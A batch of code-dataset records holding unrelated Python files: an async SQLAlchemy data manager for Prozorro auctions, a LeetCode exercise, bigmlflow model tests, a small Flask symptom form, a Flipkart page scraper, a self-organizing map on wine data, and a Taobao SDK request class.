{"seq_id": "1374895768", "text": "import datetime\n\nfrom typing import TypeVar, ClassVar\n\nfrom sqlalchemy.ext.asyncio import AsyncSession\nfrom sqlalchemy.future import select\n\nfrom app.src.database import Base\nfrom app.src.http_requests import MakeRequest\nfrom app.src.paginations import PagePagination\n\n# custom type for SQLAlchemy model\nModelType = TypeVar(\"ModelType\", bound=Base)\n\n\nclass BaseManager:\n    schema = None\n    use_pagination = False\n    pagination_class = PagePagination\n\n    @staticmethod\n    async def result(db: AsyncSession, queryset, to_instance=False):\n        result = await db.stream(queryset)\n        _scalar = result.scalars()\n        return await (_scalar.first() if to_instance else _scalar.all())\n\n    @staticmethod\n    def _get_last_page(url: str, date_modified: str) -> int:\n        \"\"\"get the number of existing pages\"\"\"\n        uri = url + date_modified + \"?limit=100&page=10000\"\n        request = MakeRequest(uri=uri)\n        response = request.do_sync_request()\n        return response['last_page']\n\n    @staticmethod\n    async def save_object(\n            db: AsyncSession, model: ModelType, objects: list, index: int\n    ):\n        new_object = model()\n        new_object._id = objects[index]['_id']\n        if model.__tablename__ == 'prozorro_sale_objects_history':\n            new_object.registry_object_id = objects[index][\n                'registryObjectId'\n            ]\n        else:\n            new_object.auction_id = objects[index][\n                'auctionId'\n            ]\n\n        # convert to timestamp\n        date_published = datetime.datetime.strptime(\n            objects[index]['datePublished'], '%Y-%m-%dT%H:%M:%S.%fZ'\n        )\n        date_modified = datetime.datetime.strptime(\n            objects[index]['dateModified'], '%Y-%m-%dT%H:%M:%S.%fZ'\n        )\n\n        new_object.date_published = date_published\n        new_object.date_modified = date_modified\n        new_object.object = objects[index]\n        db.add(new_object)\n        await db.commit()\n        return objects\n\n    async def get_object(\n            self, db: AsyncSession, model: ModelType,\n            _id: str, date_modified: str\n    ):\n        date = datetime.datetime.strptime(\n            date_modified, '%Y-%m-%dT%H:%M:%S.%fZ'\n         )\n        queryset = (\n            select(model)\n            .filter(model._id == _id, model.date_modified == date)\n        )\n        return await self.result(db=db, queryset=queryset, to_instance=True)\n\n    async def count_rows(self, db: AsyncSession, model: ModelType):\n        \"\"\"Check if records exist\"\"\"\n        from sqlalchemy import func, select\n        queryset = (select([func.count()]).select_from(model))\n        return await self.result(db=db, queryset=queryset, to_instance=True)\n\n    async def get_last_date(self, db: AsyncSession, model: ModelType):\n        queryset = (\n            select(model.date_modified)\n            .order_by(model.date_modified.desc())\n            .limit(1)\n        )\n        return await self.result(db=db, queryset=queryset, to_instance=True)\n\n    async def check_and_create_object(\n            self, db: AsyncSession, model: ModelType,\n            objects: list, index: int, _id: str, date_modified: str\n    ):\n        instance = await self.get_object(\n            db=db, model=model, _id=_id, date_modified=date_modified\n        )\n        if not instance:\n            await self.save_object(\n                db=db, model=model,\n                objects=objects, index=index\n            )\n        return instance\n\n    async def update_or_create(\n            self, db: AsyncSession, uri: str, model: ModelType\n    ):\n        objects = await MakeRequest(uri=uri).do_request()\n        for index in range(len(objects)):\n            await self.check_and_create_object(\n                db=db, model=model, objects=objects,\n                index=index, _id=objects[index]['_id'],\n                date_modified=objects[index]['dateModified']\n            )\n\n    async def update_or_create_auctions(\n            self, db, model, prepare_url, newest_date=None, start_date=None\n    ):\n        yesterday_date = datetime.datetime.today() - datetime.timedelta(1)\n        if start_date:\n            last_date = datetime.datetime.strptime(\n                start_date, '%Y-%m-%dT%H:%M:%SZ'\n            )\n            url = prepare_url(start_date)\n        else:\n            last_date = newest_date\n            url = prepare_url(newest_date.strftime(\"%Y-%m-%dT%H:%M:%SZ\"))\n\n        while last_date < yesterday_date:\n            await self.update_or_create(db=db, uri=url, model=model)\n            last_date_dt = await self.get_last_date(db=db, model=model)\n            url = prepare_url(last_date_dt.strftime(\"%Y-%m-%dT%H:%M:%SZ\"))\n            last_date = last_date_dt\n\n    async def get_list(\n            self, db: AsyncSession, queryset: ClassVar,\n            page_size: int, page: int = 1\n    ):\n        if self.use_pagination:\n            total = len(await self.result(db, queryset))\n            queryset = self.pagination_class.get_query(\n                query=queryset, page=page, page_size=page_size\n            )\n            items = await self.result(db, queryset=queryset)\n            return self.pagination_class(\n                items, page, page_size, total, self.schema\n            )\n        else:\n            return await self.result(db=db, queryset=queryset)\n\n\nclass BaseAPIManager(BaseManager):\n    use_pagination = True\n    pagination_class = PagePagination\n\n    def __init__(self, model):\n        self.model = model\n\n    async def get_versions_object_by_id(\n            self, db: AsyncSession, _id: str, page: int, page_size: int\n    ):\n        queryset = (\n            select(self.model)\n            .filter(self.model._id == _id)\n        )\n        return await self.get_list(\n            db=db, queryset=queryset, page=page, page_size=page_size\n        )\n\n    async def get_object_by_id(self, db: AsyncSession, _id: str):\n        queryset = (\n            select(self.model)\n            .filter(self.model._id == _id)\n            .order_by(self.model.date_modified.desc())\n            .limit(1)\n        )\n        return await self.result(db=db, queryset=queryset, to_instance=True)\n\n    async def get_list_objects(\n            self, db: AsyncSession, date_modified: datetime,\n            page: int, page_size: int\n    ):\n        queryset = (\n            select(self.model)\n            .filter(self.model.date_modified >= date_modified.replace(tzinfo=None))\n        )\n        return await self.get_list(\n            db=db, queryset=queryset, page=page, page_size=page_size\n        )\n", "repo_name": "ruslanhq/registry-prozorro-update", "sub_path": "app/src/base_services.py", "file_name": "base_services.py", "file_ext": "py", "file_size_in_byte": 6555, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "typing.TypeVar", "line_number": 13, "usage_type": "call"}, {"api_name": "app.src.database.Base", "line_number": 13, "usage_type": "name"}, {"api_name": "app.src.paginations.PagePagination", "line_number": 19, "usage_type": "name"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 22, "usage_type": "name"}, {"api_name": "app.src.http_requests.MakeRequest", "line_number": 31, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 37, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 51, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 51, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 54, "usage_type": "attribute"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 66, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 69, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 69, "usage_type": "attribute"}, {"api_name": "sqlalchemy.future.select", "line_number": 73, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 78, "usage_type": "name"}, {"api_name": "sqlalchemy.select", "line_number": 81, "usage_type": "call"}, {"api_name": "sqlalchemy.func.count", "line_number": 81, "usage_type": "call"}, {"api_name": "sqlalchemy.func", "line_number": 81, "usage_type": "name"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 84, "usage_type": "name"}, {"api_name": "sqlalchemy.select", "line_number": 86, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 93, "usage_type": "name"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 107, "usage_type": "name"}, {"api_name": "app.src.http_requests.MakeRequest", "line_number": 109, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 120, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 122, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 122, "usage_type": "attribute"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 137, "usage_type": "name"}, {"api_name": "typing.ClassVar", "line_number": 137, "usage_type": "name"}, {"api_name": "app.src.paginations.PagePagination", "line_number": 155, "usage_type": "name"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 161, "usage_type": "name"}, {"api_name": "sqlalchemy.future.select", "line_number": 164, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 171, "usage_type": "name"}, {"api_name": "sqlalchemy.future.select", "line_number": 173, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.asyncio.AsyncSession", "line_number": 181, "usage_type": "name"}, {"api_name": "sqlalchemy.future.select", "line_number": 185, "usage_type": "call"}]}
{"seq_id": "40031780367", "text": "#Given an array arr, replace every element in that array with the greatest element among the elements to its right, \n# and replace the last element with -1.\n\nfrom typing import List\nclass ReplaceWithGreatestRight:\n    def replace_elements(arr: List[int]):\n        i = 1\n        while i<=len(arr):\n            if i == len(arr):\n                arr[i-1] = -1\n            else:\n                arr[i-1] = max(arr[i:])\n            i += 1\n    arr = [17, 18, 5, 4, 6, 1]\n    replace_elements(arr)\n    print(arr)\n        ", "repo_name": "KatthakS/data_structures_in_python", "sub_path": "LeetCode_Problems/replace_with_greatest_right.py", "file_name": "replace_with_greatest_right.py", "file_ext": "py", "file_size_in_byte": 514, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}]}
{"seq_id": "23560052223", "text": "import os\nimport pytest\nimport json\nimport pkg_resources\nimport pandas as pd\n\nfrom pathlib import Path\n\nfrom mlflow import pyfunc\nfrom bigmlflow.bigml import save_model, load_model\n\nfrom bigml.supervised import SupervisedModel\nfrom bigml.fields import Fields\n\n\nMODELS_PATH = os.path.join(\n    str(Path(pkg_resources.resource_filename(\"bigmlflow\", \".\")).parents[0]),\n    \"tests/models\",\n)\n\n\ndef _res_filename(file):\n    return os.path.join(MODELS_PATH, file)\n\n\ndef _local_model_check(model, examples, model_path):\n    \"\"\"Generic function to test local model registry, recovery and scoring\"\"\"\n    local_model = SupervisedModel(model)\n    predictions = [local_model.predict(example, full=True) for example in examples]\n    save_model(model, path=model_path)\n    loaded_model = load_model(model_path)\n    loaded_model_predictions = [\n        loaded_model.predict(example, full=True) for example in examples\n    ]\n    for index, prediction in enumerate(predictions):\n        assert prediction == loaded_model_predictions[index]\n\n    # Loading pyfunc model\n    pyfunc_loaded = pyfunc.load_model(model_path)\n    pyfunc_predictions = pyfunc_loaded.predict(pd.DataFrame.from_records(examples))\n    for index, prediction in enumerate(predictions):\n        assert pyfunc_predictions[index] == prediction\n\n\n@pytest.fixture\ndef diabetes_examples():\n    filename = _res_filename(\"logistic_regression.json\")\n    with open(filename) as handler:\n        model_info = json.load(handler)\n    fields = Fields(model_info)\n    examples = []\n    for _ in range(0, 3):\n        examples.append(fields.training_data_example())\n    return examples\n\n\n@pytest.fixture\ndef wines_examples():\n    filename = _res_filename(\"linear_regression.json\")\n    with open(filename) as handler:\n        model_info = json.load(handler)\n    fields = Fields(model_info)\n    examples = []\n    for _ in range(0, 3):\n        examples.append(fields.training_data_example())\n    return examples\n\n\n@pytest.fixture\ndef diabetes_logistic():\n    filename = _res_filename(\"logistic_regression.json\")\n    with open(filename) as handler:\n        return json.load(handler)\n\n\n@pytest.fixture\ndef diabetes_ensemble():\n    model_list = []\n    filename = _res_filename(\"ensemble.json\")\n    with open(filename) as handler:\n        ensemble = json.load(handler)\n        model_list.append(ensemble)\n    try:\n        for model in ensemble[\"object\"][\"models\"]:\n            filename = model.replace(\"/\", \"_\")\n            with open(_res_filename(filename)) as handler:\n                model_list.append(json.load(handler))\n        return model_list\n    except KeyError:\n        raise ValueError(\"This is not a correct ensemble model\")\n\n\n@pytest.fixture\ndef wines_linear():\n    filename = _res_filename(\"linear_regression.json\")\n    with open(filename) as handler:\n        return json.load(handler)\n\n\n@pytest.fixture\ndef model_path(tmpdir):\n    return os.path.join(str(tmpdir), \"model\")\n\n\ndef test_logistic_save_load(diabetes_logistic, diabetes_examples, model_path):\n    _local_model_check(diabetes_logistic, diabetes_examples, model_path)\n\n\ndef test_linear_save_load(wines_linear, wines_examples, model_path):\n    _local_model_check(wines_linear, wines_examples, model_path)\n\n\ndef test_ensemble_save_load(diabetes_ensemble, diabetes_examples, model_path):\n    _local_model_check(diabetes_ensemble, diabetes_examples, model_path)\n", "repo_name": "bigmlcom/bigmlflow", "sub_path": "tests/register_test.py", "file_name": "register_test.py", "file_ext": "py", "file_size_in_byte": 3360, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 17, "usage_type": "call"}, {"api_name": "pkg_resources.resource_filename", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "bigml.supervised.SupervisedModel", "line_number": 28, "usage_type": "call"}, {"api_name": "bigmlflow.bigml.save_model", "line_number": 30, "usage_type": "call"}, {"api_name": "bigmlflow.bigml.load_model", "line_number": 31, "usage_type": "call"}, {"api_name": "mlflow.pyfunc.load_model", "line_number": 39, "usage_type": "call"}, {"api_name": "mlflow.pyfunc", "line_number": 39, "usage_type": "name"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 40, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 40, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 49, "usage_type": "call"}, {"api_name": "bigml.fields.Fields", "line_number": 50, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 45, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 61, "usage_type": "call"}, {"api_name": "bigml.fields.Fields", "line_number": 62, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 57, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 73, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 69, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 81, "usage_type": "call"}, {"api_name": "json.load", "line_number": 87, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 76, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 97, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 93, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 100, "usage_type": "attribute"}]}
{"seq_id": "40997406892", "text": "from flask import Flask, render_template, request\n\napp = Flask(__name__)\n\n# List of symptoms\nsymptoms = ['Fever', 'Cough', 'Shortness of Breath', 'Chest Pain', 'Chills', 'Headache', 'Fatigue', 'Sore Throat']\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n    result = None\n\n    if request.method == 'POST':\n        # Get age from the form\n        age = request.form.get('age')\n\n        # Check if age is a valid number\n        try:\n            age = float(age)\n        except ValueError:\n            return \"Age must be a valid number.\"\n\n        # Get selected symptoms from the form\n        selected_symptoms = request.form.getlist('symptoms')\n\n        # Perform prediction based on age and symptoms (you can use your prediction code here)\n        # For demonstration purposes, we'll just return a message with the selected symptoms\n        result = f\"Selected Symptoms: {', '.join(selected_symptoms)}\"\n\n    return render_template('index.html', symptoms=symptoms, result=result)\n\nif __name__ == '__main__':\n    app.run(debug=True)\n", "repo_name": "BHUKYA-VEERANNA/PneumoTrack", "sub_path": "flask app/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1040, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 3, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 12, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 12, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 14, "usage_type": "name"}, {"api_name": "flask.request.form.getlist", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 23, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 29, "usage_type": "call"}]}
{"seq_id": "25701267957", "text": "import requests\r\nfrom bs4 import BeautifulSoup\r\n\r\n# Add the url\r\nurl = 'https://www.flipkart.com/search?q=mobile+phone+5g'\r\n# Make a request to the website\r\nresponse = requests.get(url)\r\n\r\n# Create a BeautifulSoup object\r\nsoup = BeautifulSoup(response.text, 'html.parser')\r\n# print(soup)\r\n# Find and extract specific elements from the HTML\r\ntitle = soup.title.text\r\nprint('Page title:\\n', title)\r\n\r\n# Make a request to the website\r\nresponse = requests.get(url)\r\n\r\n# Create a BeautifulSoup object\r\nsoup = BeautifulSoup(response.text, 'html.parser')\r\n\r\n# # print(response)\r\n\r\n# text = soup.get_text()\r\n# # print(text)\r\n\r\n# # links = soup.find_all('a')\r\n# # print('Links:')\r\n# # for link in links:\r\n# #     print(link.get('href'))\r\n\r\n\r\n# start_word = \"Reviews\"\r\n# end_word = \"ROM\"\r\n# start_index = text.find(start_word)\r\n# end_index = text.find(end_word, start_index + len(start_word))\r\n# RAM_ROM = ''\r\n# if start_index != -1 and end_index != -1:\r\n#     RAM_ROM = text[start_index + len(start_word):end_index].strip()\r\n\r\n# print(RAM_ROM)\r\n\r\n\r\n# start_word = \"GB)\"\r\n# end_word = \"Ratings\"\r\n# start_index = text.find(start_word)\r\n# end_index = text.find(end_word, start_index + len(start_word))\r\n# Rating_Sold = ''\r\n# if start_index != -1 and end_index != -1:\r\n#     Rating_Sold = text[start_index + len(start_word):end_index].strip()\r\n\r\n# print(Rating_Sold)\r\n\r\n\r\n# import re\r\n\r\n# start_word = \"Add to Compare\"\r\n# end_word = \"(\"\r\n\r\n# escaped_start_word = re.escape(start_word)\r\n# escaped_end_word = re.escape(end_word)\r\n\r\n# pattern = f\"{escaped_start_word}(.*?){escaped_end_word}\"\r\n# matches = re.finditer(pattern, text)\r\n# name = []\r\n\r\n# for match in matches:\r\n#     project = match.group(1).strip()\r\n#     name.append(project)\r\n\r\n# print(name)\r\n\r\n# modified_RAM_ROM = [element if '|' in element else '0 GB RAM | ' + element for element in RAM_ROM]\r\n\r\n# print(modified_RAM_ROM)\r\n\r\n# RAM = [element.split(\" | \")[0] for element in modified_RAM_ROM]\r\n# ROM = [element.split(\" | \")[1] for element in modified_RAM_ROM]\r\n\r\n# print(RAM)\r\n# print(ROM)", "repo_name": "PrathamjyotSingh/Web-Scraping", "sub_path": "Soup_flipkart.py", "file_name": "Soup_flipkart.py", "file_ext": "py", "file_size_in_byte": 2039, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 7, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 10, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 20, "usage_type": "call"}]}
{"seq_id": "3391271360", "text": "from math import sqrt\nimport numpy as np\nfrom collections import defaultdict\nimport matplotlib.pyplot as plt\n\ninput = np.loadtxt(\"./data/wine_input.asc\")\ntarget = np.loadtxt(\"./data/wine_desired.asc\")\n\ndef getTargetList(target):\n    t = np.zeros(len(target), dtype=int)\n    for index, i in enumerate(target):\n        num = list(i).index(1.)\n        #num = 3 - num\n        t[index] = num\n    return t\n\n\nt = getTargetList(target)\n\nEPOCHS = 100\nLEARNING_RATE = 0.5\nNEIGHBOURHOOD_RADIUS = 1\n#SIGMA = 1\nMAP_SIZE = [50, 50] # rows x columns\ninput_len = 13\n\ndata = input\n\ndef decayLR(epoch):\n    return LEARNING_RATE/(1+ epoch/(EPOCHS/2))\n\ndef calculateActivationMap(one_data, activation_map):\n    for i in range(MAP_SIZE[0]):\n        for j in range(MAP_SIZE[1]):\n            s = one_data - weightsMap[i][j]\n            sum = 0\n            for k in range(len(s)):\n                sum += s[k]*s[k]\n            activation_map[i][j] = sqrt(sum)\n            \ndef findIndexOfBestMatch(one_data):\n    activation_map = np.zeros((MAP_SIZE[0], MAP_SIZE[1]))\n    calculateActivationMap(one_data, activation_map)\n    return np.unravel_index(activation_map.argmin(), activation_map.shape)\n\ndef updateWeights(epoch, min_index, data_i):\n    i_min, j_min = min_index\n    for i in range((i_min - NEIGHBOURHOOD_RADIUS), (i_min + NEIGHBOURHOOD_RADIUS)):\n        for j in range((j_min - NEIGHBOURHOOD_RADIUS), (j_min + NEIGHBOURHOOD_RADIUS)):\n            weightsMap[i][j] = weightsMap[i][j] + decayLR(epoch)*(data_i - weightsMap[i][j]) \n\n\ndef train(epoch, data):\n    global weightsMap\n    for data_i in data:\n        min_index = findIndexOfBestMatch(data_i)\n        updateWeights(epoch, min_index, data_i)\n\nweightsMap = np.random.rand(MAP_SIZE[0], MAP_SIZE[1], input_len)\n\nfor epoch in range(EPOCHS):\n    train(epoch, data)\n\nfor x,i in zip(input,t): # scatterplot\n    w = findIndexOfBestMatch(x)\n    plt.text(w[0], w[1], str(i), color=plt.cm.Dark2(i / 4.), fontdict={'weight': 'bold', 'size': 11})\nplt.axis([0,MAP_SIZE[0]+2,0, MAP_SIZE[1]+2])\nplt.show()\n", "repo_name": "hminle/intro-neural-nets", "sub_path": "assignment3/task3/task3.py", "file_name": "task3.py", "file_ext": "py", "file_size_in_byte": 2028, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.loadtxt", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 10, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.unravel_index", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 59, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.text", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm.Dark2", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 66, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}]}
{"seq_id": "10998623725", "text": "from typing import List\nfrom topsdk.client import BaseRequest\nfrom topsdk.util import convert_struct_list,convert_basic_list,convert_struct,convert_basic\nfrom datetime import datetime\n\n\nclass TaobaoFenxiaoProductsGetRequest(BaseRequest):\n\n    def __init__(\n        self,\n        outer_id: str = None,\n        productcat_id: int = None,\n        pids: list = None,\n        fields: list = None,\n        start_modified: datetime = None,\n        end_modified: datetime = None,\n        page_no: int = None,\n        page_size: int = None,\n        sku_number: str = None,\n        is_authz: str = None,\n        item_ids: list = None\n    ):\n        \"\"\"\n            商家编码\n        \"\"\"\n        self._outer_id = outer_id\n        \"\"\"\n            产品线ID\n        \"\"\"\n        self._productcat_id = productcat_id\n        \"\"\"\n            产品ID列表（最大限制30），用逗号分割，例如：“1001,1002,1003,1004,1005”\n        \"\"\"\n        self._pids = pids\n        \"\"\"\n            指定查询额外的信息，可选值：skus（sku数据）、images（多图），多个可选值用逗号分割。\n        \"\"\"\n        self._fields = fields\n        \"\"\"\n            开始修改时间\n        \"\"\"\n        self._start_modified = start_modified\n        \"\"\"\n            结束修改时间\n        \"\"\"\n        self._end_modified = end_modified\n        \"\"\"\n            页码（大于0的整数，默认1）\n        \"\"\"\n        self._page_no = page_no\n        \"\"\"\n            每页记录数（默认20，最大50）\n        \"\"\"\n        self._page_size = page_size\n        \"\"\"\n            sku商家编码\n        \"\"\"\n        self._sku_number = sku_number\n        \"\"\"\n            查询产品列表时，查询入参“是否需要授权”\nyes:需要授权 \nno:不需要授权\n        \"\"\"\n        self._is_authz = is_authz\n        \"\"\"\n            可根据导入的商品ID列表查询，优先级次于产品ID、sku_numbers，高于其他分页查询条件。最大限制20，用逗号分割，例如：“1001,1002,1003,1004,1005”\n        \"\"\"\n        self._item_ids = item_ids\n\n    @property\n    def outer_id(self):\n        return self._outer_id\n\n    @outer_id.setter\n    def outer_id(self, outer_id):\n        if isinstance(outer_id, str):\n            self._outer_id = outer_id\n        else:\n            raise TypeError(\"outer_id must be str\")\n\n    @property\n    def productcat_id(self):\n        return self._productcat_id\n\n    @productcat_id.setter\n    def productcat_id(self, productcat_id):\n        if isinstance(productcat_id, int):\n            self._productcat_id = productcat_id\n        else:\n            raise TypeError(\"productcat_id must be int\")\n\n    @property\n    def pids(self):\n        return self._pids\n\n    @pids.setter\n    def pids(self, pids):\n        if isinstance(pids, list):\n            self._pids = pids\n        else:\n            raise TypeError(\"pids must be list\")\n\n    @property\n    def fields(self):\n        return self._fields\n\n    @fields.setter\n    def fields(self, fields):\n        if isinstance(fields, list):\n            self._fields = fields\n        else:\n            raise TypeError(\"fields must be list\")\n\n    @property\n    def start_modified(self):\n        return self._start_modified\n\n    @start_modified.setter\n    def start_modified(self, start_modified):\n        if isinstance(start_modified, datetime):\n            self._start_modified = start_modified\n        else:\n            raise TypeError(\"start_modified must be datetime\")\n\n    @property\n    def end_modified(self):\n        return self._end_modified\n\n    @end_modified.setter\n    def end_modified(self, end_modified):\n        if isinstance(end_modified, datetime):\n            self._end_modified = end_modified\n        else:\n            raise TypeError(\"end_modified must be datetime\")\n\n    @property\n    def page_no(self):\n        return self._page_no\n\n    @page_no.setter\n    def page_no(self, page_no):\n        if isinstance(page_no, int):\n            self._page_no = page_no\n        else:\n            raise TypeError(\"page_no must be int\")\n\n    @property\n    def page_size(self):\n        return self._page_size\n\n    @page_size.setter\n    def page_size(self, page_size):\n        if isinstance(page_size, int):\n            self._page_size = page_size\n        else:\n            raise TypeError(\"page_size must be int\")\n\n    @property\n    def sku_number(self):\n        return self._sku_number\n\n    @sku_number.setter\n    def sku_number(self, sku_number):\n        if isinstance(sku_number, str):\n            self._sku_number = sku_number\n        else:\n            raise TypeError(\"sku_number must be str\")\n\n    @property\n    def is_authz(self):\n        return self._is_authz\n\n    @is_authz.setter\n    def is_authz(self, is_authz):\n        if isinstance(is_authz, str):\n            self._is_authz = is_authz\n        else:\n            raise TypeError(\"is_authz must be str\")\n\n    @property\n    def item_ids(self):\n        return self._item_ids\n\n    @item_ids.setter\n    def item_ids(self, item_ids):\n        if isinstance(item_ids, list):\n            self._item_ids = item_ids\n        else:\n            raise TypeError(\"item_ids must be list\")\n\n\n    def get_api_name(self):\n        return \"taobao.fenxiao.products.get\"\n\n    def to_dict(self):\n        request_dict = {}\n        if self._outer_id is not None:\n            request_dict[\"outer_id\"] = convert_basic(self._outer_id)\n\n        if self._productcat_id is not None:\n            request_dict[\"productcat_id\"] = convert_basic(self._productcat_id)\n\n        if self._pids is not None:\n            request_dict[\"pids\"] = convert_basic_list(self._pids)\n\n        if self._fields is not None:\n            request_dict[\"fields\"] = convert_basic_list(self._fields)\n\n        if self._start_modified is not None:\n            request_dict[\"start_modified\"] = convert_basic(self._start_modified)\n\n        if self._end_modified is not None:\n            request_dict[\"end_modified\"] = convert_basic(self._end_modified)\n\n        if self._page_no is not None:\n            request_dict[\"page_no\"] = convert_basic(self._page_no)\n\n        if self._page_size is not None:\n            request_dict[\"page_size\"] = convert_basic(self._page_size)\n\n        if self._sku_number is not None:\n            request_dict[\"sku_number\"] = convert_basic(self._sku_number)\n\n        if self._is_authz is not None:\n            request_dict[\"is_authz\"] = convert_basic(self._is_authz)\n\n        if self._item_ids is not None:\n            request_dict[\"item_ids\"] = convert_basic_list(self._item_ids)\n\n        return request_dict\n\n    def get_file_param_dict(self):\n        file_param_dict = {}\n        return file_param_dict\n\n", "repo_name": "LIANGCYRUS/TopApiSite", "sub_path": "apps/topsdk/defaultability/request/taobao_fenxiao_products_get_request.py", "file_name": "taobao_fenxiao_products_get_request.py", "file_ext": "py", "file_size_in_byte": 6642, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "topsdk.client.BaseRequest", "line_number": 7, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 16, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 120, "usage_type": "argument"}, {"api_name": "datetime.datetime", "line_number": 131, "usage_type": "argument"}, {"api_name": "topsdk.util.convert_basic", "line_number": 198, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 201, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic_list", "line_number": 204, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic_list", "line_number": 207, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 210, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 213, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 216, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 219, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 222, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic", "line_number": 225, "usage_type": "call"}, {"api_name": "topsdk.util.convert_basic_list", "line_number": 228, "usage_type": "call"}]}
